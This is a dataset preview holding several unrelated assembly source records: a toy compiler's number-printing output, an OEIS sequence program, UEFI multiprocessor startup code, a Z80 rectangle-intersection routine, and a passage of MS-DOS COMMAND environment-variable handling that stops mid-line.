text
stringlengths
1
1.05M
; script start: ; asm readnumber r2 ; i: r3 set r3 0 store r3 r2 ; run real_write ; push used regsters ; i: r2 set r2 0 load r2 r2 push r2 run real_write ; pop parameters set r2 8 pushsp pop r3 add r3 r3 r2 push r3 popsp mov r2 r1 stop ; function real_write real_write: ; Base pointer push r0 pushsp pop r0 ; Make space for variables set r4 8 sub r3 r0 r4 push r3 popsp ; function ; attribution ; number: r3 set r3 8 add r3 r0 r3 load r3 r3 ; integer: r4 set r4 0 ; typecast int real set r6 1000 div r5 r3 r6 store r4 r5 ; asm ; number: r3 set r3 8 add r3 r0 r3 load r3 r3 push r3 ; asm pop r3 ; fractional: r4 set r4 -4 add r4 r0 r4 store r4 r3 ; attribution ; expression mod ; fractional: r4 set r4 -4 add r4 r0 r4 load r4 r4 ; value int 1000 set r5 1000 mod r3 r4 r5 ; fractional: r4 set r4 -4 add r4 r0 r4 store r4 r3 ; asm ; integer: r3 set r3 0 load r3 r3 writenumber r3 ; asm ; value symbol . set r3 '.' write r3 ; asm ; fractional: r3 set r3 -4 add r3 r0 r3 load r3 r3 writenumber r3 ; Restore base pointer push r0 popsp pop r0 ; return ret
; A188716: a(n) = n + (n-1)*(2^n-2). ; 1,1,4,15,46,125,316,763,1786,4089,9208,20471,45046,98293,212980,458739,983026,2097137,4456432,9437167,19922926,41943021,88080364,184549355,385875946,805306345,1677721576,3489660903,7247757286,15032385509,31138512868,64424509411,133143986146,274877906913,566935683040,1168231104479,2405181685726,4947802324957,10170482556892,20890720927707,42880953483226,87960930222041,180319906955224,369435906932695,756463999909846,1548112371908565,3166593487994836,6473924464345043,13229323905400786 mov $1,2 pow $1,$0 sub $0,1 mul $1,$0 sub $1,$0 add $1,1 mov $0,$1
;------------------------------------------------------------------------------ ; ; Copyright (c) 2015 - 2021, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; MpFuncs.nasm ; ; Abstract: ; ; This is the assembly code for MP support ; ;------------------------------------------------------------------------------- %include "MpEqu.inc" extern ASM_PFX(InitializeFloatingPointUnits) DEFAULT REL SECTION .text ;------------------------------------------------------------------------------------- ;RendezvousFunnelProc procedure follows. All APs execute their procedure. This ;procedure serializes all the AP processors through an Init sequence. It must be ;noted that APs arrive here very raw...ie: real mode, no stack. ;ALSO THIS PROCEDURE IS EXECUTED BY APs ONLY ON 16 BIT MODE. HENCE THIS PROC ;IS IN MACHINE CODE. ;------------------------------------------------------------------------------------- global ASM_PFX(RendezvousFunnelProc) ASM_PFX(RendezvousFunnelProc): RendezvousFunnelProcStart: ; At this point CS = 0x(vv00) and ip= 0x0. ; Save BIST information to ebp firstly BITS 16 mov ebp, eax ; Save BIST information mov ax, cs mov ds, ax mov es, ax mov ss, ax xor ax, ax mov fs, ax mov gs, ax mov si, MP_CPU_EXCHANGE_INFO_FIELD (BufferStart) mov ebx, [si] mov si, MP_CPU_EXCHANGE_INFO_FIELD (DataSegment) mov edx, [si] ; ; Get start address of 32-bit code in low memory (<1MB) ; mov edi, MP_CPU_EXCHANGE_INFO_FIELD (ModeTransitionMemory) mov si, MP_CPU_EXCHANGE_INFO_FIELD (GdtrProfile) o32 lgdt [cs:si] mov si, MP_CPU_EXCHANGE_INFO_FIELD (IdtrProfile) o32 lidt [cs:si] ; ; Switch to protected mode ; mov eax, cr0 ; Get control register 0 or eax, 000000003h ; Set PE bit (bit #0) & MP mov cr0, eax ; Switch to 32-bit code (>1MB) o32 jmp far [cs:di] ; ; Following code must be copied to memory with type of EfiBootServicesCode. ; This is required if NX is enabled for EfiBootServicesCode of memory. ; BITS 32 Flat32Start: ; protected mode entry point mov ds, dx mov es, dx mov fs, dx mov gs, dx mov ss, dx ; ; Enable execute disable bit ; mov esi, MP_CPU_EXCHANGE_INFO_FIELD (EnableExecuteDisable) cmp byte [ebx + esi], 0 jz SkipEnableExecuteDisableBit mov ecx, 0c0000080h ; EFER MSR number rdmsr ; Read EFER bts eax, 11 ; Enable Execute Disable Bit wrmsr ; Write EFER SkipEnableExecuteDisableBit: ; ; Enable PAE ; mov eax, cr4 bts eax, 5 mov esi, MP_CPU_EXCHANGE_INFO_FIELD (Enable5LevelPaging) cmp byte [ebx + esi], 0 jz SkipEnable5LevelPaging ; ; Enable 5 Level Paging ; bts eax, 12 ; Set LA57=1. SkipEnable5LevelPaging: mov cr4, eax ; ; Load page table ; mov esi, MP_CPU_EXCHANGE_INFO_FIELD (Cr3) ; Save CR3 in ecx mov ecx, [ebx + esi] mov cr3, ecx ; Load CR3 ; ; Enable long mode ; mov ecx, 0c0000080h ; EFER MSR number rdmsr ; Read EFER bts eax, 8 ; Set LME=1 wrmsr ; Write EFER ; ; Enable paging ; mov eax, cr0 ; Read CR0 bts eax, 31 ; Set PG=1 mov cr0, eax ; Write CR0 ; ; Far jump to 64-bit code ; mov edi, MP_CPU_EXCHANGE_INFO_FIELD (ModeHighMemory) add edi, ebx jmp far [edi] BITS 64 LongModeStart: mov esi, ebx lea edi, [esi + MP_CPU_EXCHANGE_INFO_FIELD (InitFlag)] cmp qword [edi], 1 ; ApInitConfig jnz GetApicId ; Increment the number of APs executing here as early as possible ; This is decremented in C code when AP is finished executing mov edi, esi add edi, MP_CPU_EXCHANGE_INFO_FIELD (NumApsExecuting) lock inc dword [edi] ; AP init mov edi, esi add edi, MP_CPU_EXCHANGE_INFO_FIELD (ApIndex) mov ebx, 1 lock xadd dword [edi], ebx ; EBX = ApIndex++ inc ebx ; EBX is CpuNumber ; program stack mov edi, esi add edi, MP_CPU_EXCHANGE_INFO_FIELD (StackSize) mov eax, dword [edi] mov ecx, ebx inc ecx mul ecx ; EAX = StackSize * (CpuNumber + 1) mov edi, esi add edi, MP_CPU_EXCHANGE_INFO_FIELD (StackStart) add rax, qword [edi] mov rsp, rax lea edi, [esi + MP_CPU_EXCHANGE_INFO_FIELD (SevEsIsEnabled)] cmp byte [edi], 1 ; SevEsIsEnabled jne CProcedureInvoke ; ; program GHCB ; Each page after the GHCB is a per-CPU page, so the calculation programs ; a GHCB to be every 8KB. ; mov eax, SIZE_4KB shl eax, 1 ; EAX = SIZE_4K * 2 mov ecx, ebx mul ecx ; EAX = SIZE_4K * 2 * CpuNumber mov edi, esi add edi, MP_CPU_EXCHANGE_INFO_FIELD (GhcbBase) add rax, qword [edi] mov rdx, rax shr rdx, 32 mov rcx, 0xc0010130 wrmsr jmp CProcedureInvoke GetApicId: lea edi, [esi + MP_CPU_EXCHANGE_INFO_FIELD (SevEsIsEnabled)] cmp byte [edi], 1 ; SevEsIsEnabled jne DoCpuid ; ; Since we don't have a stack yet, we can't take a #VC ; exception. Use the GHCB protocol to perform the CPUID ; calls. ; mov rcx, 0xc0010130 rdmsr shl rdx, 32 or rax, rdx mov rdi, rax ; RDI now holds the original GHCB GPA mov rdx, 0 ; CPUID function 0 mov rax, 0 ; RAX register requested or rax, 4 wrmsr rep vmmcall rdmsr cmp edx, 0bh jb NoX2ApicSevEs ; CPUID level below CPUID_EXTENDED_TOPOLOGY mov rdx, 0bh ; CPUID function 0x0b mov rax, 040000000h ; RBX register requested or rax, 4 wrmsr rep vmmcall rdmsr test edx, 0ffffh jz NoX2ApicSevEs ; CPUID.0BH:EBX[15:0] is zero mov rdx, 0bh ; CPUID function 0x0b mov rax, 0c0000000h ; RDX register requested or rax, 4 wrmsr rep vmmcall rdmsr ; Processor is x2APIC capable; 32-bit x2APIC ID is now in EDX jmp RestoreGhcb NoX2ApicSevEs: ; Processor is not x2APIC capable, so get 8-bit APIC ID mov rdx, 1 ; CPUID function 1 mov rax, 040000000h ; RBX register requested or rax, 4 wrmsr rep vmmcall rdmsr shr edx, 24 RestoreGhcb: mov rbx, rdx ; Save x2APIC/APIC ID mov rdx, rdi ; RDI holds the saved GHCB GPA shr rdx, 32 mov eax, edi wrmsr mov rdx, rbx ; x2APIC ID or APIC ID is in EDX jmp GetProcessorNumber DoCpuid: mov eax, 0 cpuid cmp eax, 0bh jb NoX2Apic ; CPUID level below CPUID_EXTENDED_TOPOLOGY mov eax, 0bh xor ecx, ecx cpuid test ebx, 0ffffh jz NoX2Apic ; CPUID.0BH:EBX[15:0] is zero ; Processor is x2APIC capable; 32-bit x2APIC ID is already in EDX jmp GetProcessorNumber NoX2Apic: ; Processor is not x2APIC capable, so get 8-bit APIC ID mov eax, 1 cpuid shr ebx, 24 mov edx, ebx GetProcessorNumber: ; ; Get processor number for this AP ; Note that BSP may become an AP due to SwitchBsp() ; xor ebx, ebx lea eax, [esi + MP_CPU_EXCHANGE_INFO_FIELD (CpuInfo)] mov rdi, [eax] GetNextProcNumber: cmp dword [rdi + CPU_INFO_IN_HOB.InitialApicId], edx ; APIC ID match? jz ProgramStack add rdi, CPU_INFO_IN_HOB_size inc ebx jmp GetNextProcNumber ProgramStack: mov rsp, qword [rdi + CPU_INFO_IN_HOB.ApTopOfStack] CProcedureInvoke: push rbp ; Push BIST data at top of AP stack xor rbp, rbp ; Clear ebp for call stack trace push rbp mov rbp, rsp mov rax, qword [esi + MP_CPU_EXCHANGE_INFO_FIELD (InitializeFloatingPointUnits)] sub rsp, 20h call rax ; Call assembly function to initialize FPU per UEFI spec add rsp, 20h mov edx, ebx ; edx is ApIndex mov ecx, esi add ecx, MP_CPU_EXCHANGE_INFO_OFFSET ; rcx is address of exchange info data buffer mov edi, esi add edi, MP_CPU_EXCHANGE_INFO_FIELD (CFunction) mov rax, qword [edi] sub rsp, 20h call rax ; Invoke C function add rsp, 20h jmp $ ; Should never reach here RendezvousFunnelProcEnd: ;------------------------------------------------------------------------------------- ;SwitchToRealProc procedure follows. ;ALSO THIS PROCEDURE IS EXECUTED BY APs TRANSITIONING TO 16 BIT MODE. HENCE THIS PROC ;IS IN MACHINE CODE. ; SwitchToRealProc (UINTN BufferStart, UINT16 Code16, UINT16 Code32, UINTN StackStart) ; rcx - Buffer Start ; rdx - Code16 Selector Offset ; r8 - Code32 Selector Offset ; r9 - Stack Start ;------------------------------------------------------------------------------------- global ASM_PFX(SwitchToRealProc) ASM_PFX(SwitchToRealProc): SwitchToRealProcStart: BITS 64 cli ; ; Get RDX reset value before changing stacks since the ; new stack won't be able to accomodate a #VC exception. ; push rax push rbx push rcx push rdx mov rax, 1 cpuid mov rsi, rax ; Save off the reset value for RDX pop rdx pop rcx pop rbx pop rax ; ; Establish stack below 1MB ; mov rsp, r9 ; ; Push ultimate Reset Vector onto the stack ; mov rax, rcx shr rax, 4 push word 0x0002 ; RFLAGS push ax ; CS push word 0x0000 ; RIP push word 0x0000 ; For alignment, will be discarded ; ; Get address of "16-bit operand size" label ; lea rbx, [PM16Mode] ; ; Push addresses used to change to compatibility mode ; lea rax, [CompatMode] push r8 push rax ; ; Clear R8 - R15, for reset, before going into 32-bit mode ; xor r8, r8 xor r9, r9 xor r10, r10 xor r11, r11 xor r12, r12 xor r13, r13 xor r14, r14 xor r15, r15 ; ; Far return into 32-bit mode ; o64 retf BITS 32 CompatMode: ; ; Set up stack to prepare for exiting protected mode ; push edx ; Code16 CS push ebx ; PM16Mode label address ; ; Disable paging ; mov eax, cr0 ; Read CR0 btr eax, 31 ; Set PG=0 mov cr0, eax ; Write CR0 ; ; Disable long mode ; mov ecx, 0c0000080h ; EFER MSR number rdmsr ; Read EFER btr eax, 8 ; Set LME=0 wrmsr ; Write EFER ; ; Disable PAE ; mov eax, cr4 ; Read CR4 btr eax, 5 ; Set PAE=0 mov cr4, eax ; Write CR4 mov edx, esi ; Restore RDX reset value ; ; Switch to 16-bit operand size ; retf BITS 16 ; ; At entry to this label ; - RDX will have its reset value ; - On the top of the stack ; - Alignment data (two bytes) to be discarded ; - IP for Real Mode (two bytes) ; - CS for Real Mode (two bytes) ; ; This label is also used with AsmRelocateApLoop. During MP finalization, ; the code from PM16Mode to SwitchToRealProcEnd is copied to the start of ; the WakeupBuffer, allowing a parked AP to be booted by an OS. ; PM16Mode: mov eax, cr0 ; Read CR0 btr eax, 0 ; Set PE=0 mov cr0, eax ; Write CR0 pop ax ; Discard alignment data ; ; Clear registers (except RDX and RSP) before going into 16-bit mode ; xor eax, eax xor ebx, ebx xor ecx, ecx xor esi, esi xor edi, edi xor ebp, ebp iret SwitchToRealProcEnd: ;------------------------------------------------------------------------------------- ; AsmRelocateApLoop (MwaitSupport, ApTargetCState, PmCodeSegment, TopOfApStack, CountTofinish, Pm16CodeSegment, SevEsAPJumpTable, WakeupBuffer); ;------------------------------------------------------------------------------------- global ASM_PFX(AsmRelocateApLoop) ASM_PFX(AsmRelocateApLoop): AsmRelocateApLoopStart: BITS 64 cmp qword [rsp + 56], 0 ; SevEsAPJumpTable je NoSevEs ; ; Perform some SEV-ES related setup before leaving 64-bit mode ; push rcx push rdx ; ; Get the RDX reset value using CPUID ; mov rax, 1 cpuid mov rsi, rax ; Save off the reset value for RDX ; ; Prepare the GHCB for the AP_HLT_LOOP VMGEXIT call ; - Must be done while in 64-bit long mode so that writes to ; the GHCB memory will be unencrypted. ; - No NAE events can be generated once this is set otherwise ; the AP_RESET_HOLD SW_EXITCODE will be overwritten. ; mov rcx, 0xc0010130 rdmsr ; Retrieve current GHCB address shl rdx, 32 or rdx, rax mov rdi, rdx xor rax, rax mov rcx, 0x800 shr rcx, 3 rep stosq ; Clear the GHCB mov rax, 0x80000004 ; VMGEXIT AP_RESET_HOLD mov [rdx + 0x390], rax mov rax, 114 ; Set SwExitCode valid bit bts [rdx + 0x3f0], rax inc rax ; Set SwExitInfo1 valid bit bts [rdx + 0x3f0], rax inc rax ; Set SwExitInfo2 valid bit bts [rdx + 0x3f0], rax pop rdx pop rcx NoSevEs: cli ; Disable interrupt before switching to 32-bit mode mov rax, [rsp + 40] ; CountTofinish lock dec dword [rax] ; (*CountTofinish)-- mov r10, [rsp + 48] ; Pm16CodeSegment mov rax, [rsp + 56] ; SevEsAPJumpTable mov rbx, [rsp + 64] ; WakeupBuffer mov rsp, r9 ; TopOfApStack push rax ; Save SevEsAPJumpTable push rbx ; Save WakeupBuffer push r10 ; Save Pm16CodeSegment push rcx ; Save MwaitSupport push rdx ; Save ApTargetCState lea rax, [PmEntry] ; rax <- The start address of transition code push r8 push rax ; ; Clear R8 - R15, for reset, before going into 32-bit mode ; xor r8, r8 xor r9, r9 xor r10, r10 xor r11, r11 xor r12, r12 xor r13, r13 xor r14, r14 xor r15, r15 ; ; Far return into 32-bit mode ; o64 retf BITS 32 PmEntry: mov eax, cr0 btr eax, 31 ; Clear CR0.PG mov cr0, eax ; Disable paging and caches mov ecx, 0xc0000080 rdmsr and ah, ~ 1 ; Clear LME wrmsr mov eax, cr4 and al, ~ (1 << 5) ; Clear PAE mov cr4, eax pop edx add esp, 4 pop ecx, add esp, 4 MwaitCheck: cmp cl, 1 ; Check mwait-monitor support jnz HltLoop mov ebx, edx ; Save C-State to ebx MwaitLoop: cli mov eax, esp ; Set Monitor Address xor ecx, ecx ; ecx = 0 xor edx, edx ; edx = 0 monitor mov eax, ebx ; Mwait Cx, Target C-State per eax[7:4] shl eax, 4 mwait jmp MwaitLoop HltLoop: pop edx ; PM16CodeSegment add esp, 4 pop ebx ; WakeupBuffer add esp, 4 pop eax ; SevEsAPJumpTable add esp, 4 cmp eax, 0 ; Check for SEV-ES je DoHlt cli ; ; SEV-ES is enabled, use VMGEXIT (GHCB information already ; set by caller) ; BITS 64 rep vmmcall BITS 32 ; ; Back from VMGEXIT AP_HLT_LOOP ; Push the FLAGS/CS/IP values to use ; push word 0x0002 ; EFLAGS xor ecx, ecx mov cx, [eax + 2] ; CS push cx mov cx, [eax] ; IP push cx push word 0x0000 ; For alignment, will be discarded push edx push ebx mov edx, esi ; Restore RDX reset value retf DoHlt: cli hlt jmp DoHlt BITS 64 AsmRelocateApLoopEnd: ;------------------------------------------------------------------------------------- ; AsmGetAddressMap (&AddressMap); ;------------------------------------------------------------------------------------- global ASM_PFX(AsmGetAddressMap) ASM_PFX(AsmGetAddressMap): lea rax, [ASM_PFX(RendezvousFunnelProc)] mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.RendezvousFunnelAddress], rax mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.ModeEntryOffset], LongModeStart - RendezvousFunnelProcStart mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.RendezvousFunnelSize], RendezvousFunnelProcEnd - RendezvousFunnelProcStart lea rax, [ASM_PFX(AsmRelocateApLoop)] mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.RelocateApLoopFuncAddress], rax mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.RelocateApLoopFuncSize], AsmRelocateApLoopEnd - AsmRelocateApLoopStart mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.ModeTransitionOffset], Flat32Start - RendezvousFunnelProcStart mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.SwitchToRealSize], SwitchToRealProcEnd - SwitchToRealProcStart mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.SwitchToRealOffset], SwitchToRealProcStart - RendezvousFunnelProcStart mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.SwitchToRealNoNxOffset], SwitchToRealProcStart - Flat32Start mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.SwitchToRealPM16ModeOffset], PM16Mode - RendezvousFunnelProcStart mov qword [rcx + MP_ASSEMBLY_ADDRESS_MAP.SwitchToRealPM16ModeSize], SwitchToRealProcEnd - PM16Mode ret ;------------------------------------------------------------------------------------- ;AsmExchangeRole procedure follows. This procedure executed by current BSP, that is ;about to become an AP. It switches its stack with the current AP. ;AsmExchangeRole (IN CPU_EXCHANGE_INFO *MyInfo, IN CPU_EXCHANGE_INFO *OthersInfo); ;------------------------------------------------------------------------------------- global ASM_PFX(AsmExchangeRole) ASM_PFX(AsmExchangeRole): ; DO NOT call other functions in this function, since 2 CPU may use 1 stack ; at the same time. If 1 CPU try to call a function, stack will be corrupted. push rax push rbx push rcx push rdx push rsi push rdi push rbp push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 mov rax, cr0 push rax mov rax, cr4 push rax ; rsi contains MyInfo pointer mov rsi, rcx ; rdi contains OthersInfo pointer mov rdi, rdx ;Store EFLAGS, GDTR and IDTR regiter to stack pushfq sgdt [rsi + CPU_EXCHANGE_ROLE_INFO.Gdtr] sidt [rsi + CPU_EXCHANGE_ROLE_INFO.Idtr] ; Store the its StackPointer mov [rsi + CPU_EXCHANGE_ROLE_INFO.StackPointer], rsp ; update its switch state to STORED mov byte [rsi + CPU_EXCHANGE_ROLE_INFO.State], CPU_SWITCH_STATE_STORED WaitForOtherStored: ; wait until the other CPU finish storing its state cmp byte [rdi + CPU_EXCHANGE_ROLE_INFO.State], CPU_SWITCH_STATE_STORED jz OtherStored pause jmp WaitForOtherStored OtherStored: ; Since another CPU already stored its state, load them ; load GDTR value lgdt [rdi + CPU_EXCHANGE_ROLE_INFO.Gdtr] ; load IDTR value lidt [rdi + CPU_EXCHANGE_ROLE_INFO.Idtr] ; load its future StackPointer mov rsp, [rdi + CPU_EXCHANGE_ROLE_INFO.StackPointer] ; update the other CPU's switch state to LOADED mov byte [rdi + CPU_EXCHANGE_ROLE_INFO.State], CPU_SWITCH_STATE_LOADED WaitForOtherLoaded: ; wait until the other CPU finish loading new state, ; otherwise the data in stack may corrupt cmp byte [rsi + CPU_EXCHANGE_ROLE_INFO.State], CPU_SWITCH_STATE_LOADED jz OtherLoaded pause jmp WaitForOtherLoaded OtherLoaded: ; since the other CPU already get the data it want, leave this procedure popfq pop rax mov cr4, rax pop rax mov cr0, rax pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rbp pop rdi pop rsi pop rdx pop rcx pop rbx pop rax ret
; Rectangle, Intervals and Points ; 05.2006 aralbrec SECTION code_clib PUBLIC r_IntersectRect8 PUBLIC _r_IntersectRect8 EXTERN RIntersectRect8 ; int r_IntersectRect8(struct r_Rect8 *r1, struct r_Rect8 *r2, struct r_Rect8 *result) .r_IntersectRect8 ._r_IntersectRect8 ld hl,7 add hl,sp ld d,(hl) dec hl ld e,(hl) dec hl push hl ex de,hl ld b,(hl) inc hl ld c,(hl) inc hl ld d,(hl) inc hl ld e,(hl) pop hl push de ld d,(hl) dec hl ld e,(hl) dec hl push hl ex de,hl ld d,(hl) inc hl ld e,(hl) inc hl push hl exx pop hl ld d,(hl) inc hl ld e,(hl) pop hl pop bc push hl exx call RIntersectRect8 pop hl jr nc, no ld d,(hl) dec hl ld e,(hl) ex de,hl ld (hl),b inc hl ld (hl),c inc hl push hl exx pop hl ld (hl),b inc hl ld (hl),c ld hl,1 ret .no ld hl,0 ret
page ,132 ; SCCSID = @(#)tenv.asm 4.2 85/08/16 ; SCCSID = @(#)tenv.asm 4.2 85/08/16 TITLE Part6 COMMAND Transient routines. ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ; Environment utilities and misc. routines ; ; Revision History ; ================ ; ; M024 SR 9/5/90 Zero out comspec_flag to fix bug ; #710 about comspec getting trashed. ; INCLUDE comsw.asm .xlist .xcref include dossym.inc include syscall.inc include arena.inc include comseg.asm include comequ.asm include doscntry.inc ;an000; include resmsg.equ .list .cref DATARES SEGMENT PUBLIC BYTE ;AC000; EXTRN comdrv:byte EXTRN comspec_end:word EXTRN dbcs_vector_addr:dword ;AN000; EXTRN ENVIRSEG:WORD EXTRN fucase_addr:word ;AC000; EXTRN PutBackDrv:byte EXTRN PutBackComSpec:byte EXTRN RESTDIR:BYTE DATARES ENDS TRANDATA SEGMENT PUBLIC BYTE ;AC000; EXTRN arg_buf_ptr:word EXTRN comspec:byte EXTRN comspec_flag:byte EXTRN comspecstr:byte EXTRN ENVERR_PTR:WORD EXTRN PATH_TEXT:byte EXTRN PROMPT_TEXT:byte EXTRN SYNTMES_PTR:WORD TRANDATA ENDS TRANSPACE SEGMENT PUBLIC BYTE ;AC000; EXTRN Arg_Buf:BYTE EXTRN RESSEG:WORD EXTRN USERDIR1:BYTE TRANSPACE ENDS TRANCODE SEGMENT PUBLIC byte ASSUME CS:TRANGROUP,DS:NOTHING,ES:NOTHING,SS:NOTHING EXTRN cerror:near PUBLIC add_name_to_environment PUBLIC add_prompt PUBLIC delete_path PUBLIC find_name_in_environment PUBLIC find_path PUBLIC find_prompt PUBLIC move_name PUBLIC restudir PUBLIC restudir1 PUBLIC scan_double_null PUBLIC scasb2 PUBLIC store_char PUBLIC Testkanj ;AN000; 3/3/KK PUBLIC upconv BREAK <Environment utilities> ASSUME DS:TRANGROUP break Prompt command assume ds:trangroup,es:trangroup ADD_PROMPT: CALL DELETE_PROMPT ; DELETE ANY EXISTING PROMPT CALL SCAN_DOUBLE_NULL ADD_PROMPT2: PUSH SI CALL GETARG POP SI retz ; PRE SCAN FOR ARGUMENTS CALL MOVE_NAME ; MOVE IN NAME CALL GETARG PUSH SI JMP SHORT ADD_NAME break The SET command assume ds:trangroup,es:trangroup ; ; Input: DS:SI points to a CR terminated string ; Output: carry flag is set if no room ; otherwise name is added to environment ; DISP_ENVj: jmp DISP_ENV ADD_NAME_TO_ENVIRONMENT: CALL GETARG JZ DISP_ENVj ; ; check if line contains exactly one equals sign ; XOR BX,BX ;= COUNT IS 0 PUSH SI ;SAVE POINTER TO BEGINNING OF LINE EQLP: LODSB ;GET A CHAR CMP AL,13 ;IF CR WE'RE ALL DONE JZ QUEQ CMP AL,'=' ;LOOK FOR = SIGN JNZ EQLP ;NOT THERE, GET NEXT CHAR INC BL ;OTHERWISE INCREMENT EQ COUNT CMP BYTE PTR [SI],13 ;LOOK FOR CR FOLLOWING = SIGN JNZ EQLP INC BH ;SET BH=1 MEANS NO PARAMETERS JMP EQLP ;AND LOOK FOR MORE QUEQ: POP SI ;RESTORE BEGINNING OF LINE DEC BL ;ZERO FLAG MEANS ONLY ONE EQ JZ ONEQ ;GOOD LINE MOV DX,OFFSET TRANGROUP:SYNTMES_ptr JMP CERROR ONEQ: PUSH BX CALL DELETE_NAME_IN_ENVIRONMENT POP BX DEC BH retz CALL SCAN_DOUBLE_NULL mov bx,di ; Save ptr to beginning of env var name CALL MOVE_NAME push si xchg bx,di ; Switch ptrs to beginning and end of ; env var name ; ; We want to special-case COMSPEC. This is to reduce the amount of code ; necessary in the resident for re-reading the transient. Let's look for ; COMSPEC= ; mov comspec_flag,0 ; clear flag ; M024 mov si,offset trangroup:comspecstr ; Load ptr to string "COMSPEC" mov cx,4 ; If the new env var is comspec, set repz cmpsw ; the comspec_flag ; ; Zero set => exact match ; jnz not_comspec inc comspec_flag ; comspec is changing ; M024 not_comspec: mov di,bx ; Load ptr to end of env var name ADD_NAME: ; Add the value of the new env var pop si ; to the environment. push si add_name1: LODSB CMP AL,13 jz add_name_ret CALL STORE_CHAR JMP ADD_NAME1 add_name_ret: pop si cmp comspec_flag,0 ; If the new env var is comspec, retz ; copy the value into the ; ; We have changed the COMSPEC variable. We need to update the resident ; pieces necessary to reread in the info. First, skip all delimiters ; invoke ScanOff mov es,[resseg] ; comspec var in the resident assume es:resgroup ; ; Make sure that the printer knows where the beginning of the string is ; mov di,offset resgroup:comspec mov bx,di ; ; Generate drive letter for display ; xor ax,ax ;g assume no drive first mov comdrv,al ;g push ax ;AN000; 3/3/KK mov al,[si] ;AN000; 3/3/KK call testkanj ;AN000; 3/3/KK pop ax ;AN000; 3/3/KK jnz GotDrive cmp byte ptr [si+1],':' ; drive specified? jnz GotDrive mov al,[si] ; get his specified drive call UpConv ; convert to uppercase sub al,'A' ; convert to 0-based add di,2 inc al ; convert to 1-based number mov comdrv,al ; ; Stick the drive letter in the prompt message. Nothing special needs to be ; done here.. ; add al,'A'-1 GotDrive: ;g mov PutBackComSpec.SubstPtr,di ;g point to beginning of name after drive mov es:PutBackDrv,al ; ; Copy chars until delim ; mov di,bx copy_comspec: lodsb invoke Delim jz CopyDone cmp al,13 jz CopyDone stosb jmp short copy_comspec CopyDone: xor al,al ; Null terminate the string and quit stosb mov comspec_flag,0 dec di mov comspec_end,di ret DISP_ENV: MOV DS,[RESSEG] ASSUME DS:RESGROUP MOV DS,[ENVIRSEG] ASSUME DS:NOTHING XOR SI,SI PENVLP: CMP BYTE PTR [SI],0 retz mov di,offset trangroup:arg_buf PENVLP2: LODSB stosb OR AL,AL JNZ PENVLP2 mov dx,offset trangroup:arg_buf_ptr push ds push es pop ds invoke printf_crlf pop ds JMP PENVLP ASSUME DS:TRANGROUP DELETE_PATH: MOV SI,OFFSET TRANGROUP:PATH_TEXT JMP SHORT DELETE_NAME_IN_environment DELETE_PROMPT: MOV SI,OFFSET TRANGROUP:PROMPT_TEXT DELETE_NAME_IN_environment: ; ; Input: DS:SI points to a "=" terminated string ; Output: carry flag is set if name not found ; otherwise name is deleted ; PUSH SI PUSH DS CALL FIND ; ES:DI POINTS TO NAME JC DEL1 MOV SI,DI ; SAVE IT CALL SCASB2 ; SCAN FOR THE NUL XCHG SI,DI ;SR; ; If we have only one env string, then the double null is lost when the last ;string is deleted and we have an invalid empty environment with only a ;single null. To avoid this, we will look for the double null case and then ;move an extra null char. ; Bugbug: The only possible problem is that the last pathstring ;will be followed by a triple null. Is this really a problem? ; cmp byte ptr es:[si],0 ;null char? jnz not_dnull ;no, we are at a double null dec si ;point at the double null not_dnull: CALL GETENVSIZ SUB CX,SI PUSH ES POP DS ; ES:DI POINTS TO NAME, DS:SI POINTS TO NEXT NAME REP MOVSB ; DELETE THE NAME DEL1: POP DS POP SI return FIND_PATH: MOV SI,OFFSET TRANGROUP:PATH_TEXT JMP SHORT FIND_NAME_IN_environment FIND_PROMPT: MOV SI,OFFSET TRANGROUP:PROMPT_TEXT FIND_NAME_IN_environment: ; ; Input: DS:SI points to a "=" terminated string ; Output: ES:DI points to the arguments in the environment ; zero is set if name not found ; carry flag is set if name not valid format ; CALL FIND ; FIND THE NAME retc ; CARRY MEANS NOT FOUND JMP SCASB1 ; SCAN FOR = SIGN ; ; On return of FIND1, ES:DI points to beginning of name ; FIND: CLD CALL COUNT0 ; CX = LENGTH OF NAME MOV ES,[RESSEG] ASSUME ES:RESGROUP MOV ES,[ENVIRSEG] ASSUME ES:NOTHING XOR DI,DI FIND1: PUSH CX PUSH SI PUSH DI FIND11: LODSB CALL TESTKANJ JZ NOTKANJ3 DEC SI LODSW INC DI INC DI CMP AX,ES:[DI-2] JNZ FIND12 DEC CX LOOP FIND11 JMP SHORT FIND12 NOTKANJ3: CALL UPCONV INC DI CMP AL,ES:[DI-1] JNZ FIND12 LOOP FIND11 FIND12: POP DI POP SI POP CX retz PUSH CX CALL SCASB2 ; SCAN FOR A NUL POP CX CMP BYTE PTR ES:[DI],0 JNZ FIND1 STC ; INDICATE NOT FOUND return COUNT0: PUSH DS POP ES MOV DI,SI COUNT1: PUSH DI ; COUNT NUMBER OF CHARS UNTIL "=" CALL SCASB1 JMP SHORT COUNTX COUNT2: PUSH DI ; COUNT NUMBER OF CHARS UNTIL NUL CALL SCASB2 COUNTX: POP CX SUB DI,CX XCHG DI,CX return MOVE_NAME: CMP BYTE PTR DS:[SI],13 retz LODSB ;;;; IFDEF DBCS 3/3/KK CALL TESTKANJ JZ NOTKANJ1 CALL STORE_CHAR LODSB CALL STORE_CHAR JMP SHORT MOVE_NAME NOTKANJ1: ;;;; ENDIF 3/3/KK CALL UPCONV CALL STORE_CHAR CMP AL,'=' JNZ MOVE_NAME return GETARG: MOV SI,80H LODSB OR AL,AL retz invoke SCANOFF CMP AL,13 return ; ; Point ES:DI to the final NULL string. Note that in an empty environment, ; there is NO double NULL, merely a string that is empty. ; SCAN_DOUBLE_NULL: MOV ES,[RESSEG] ASSUME ES:RESGROUP MOV 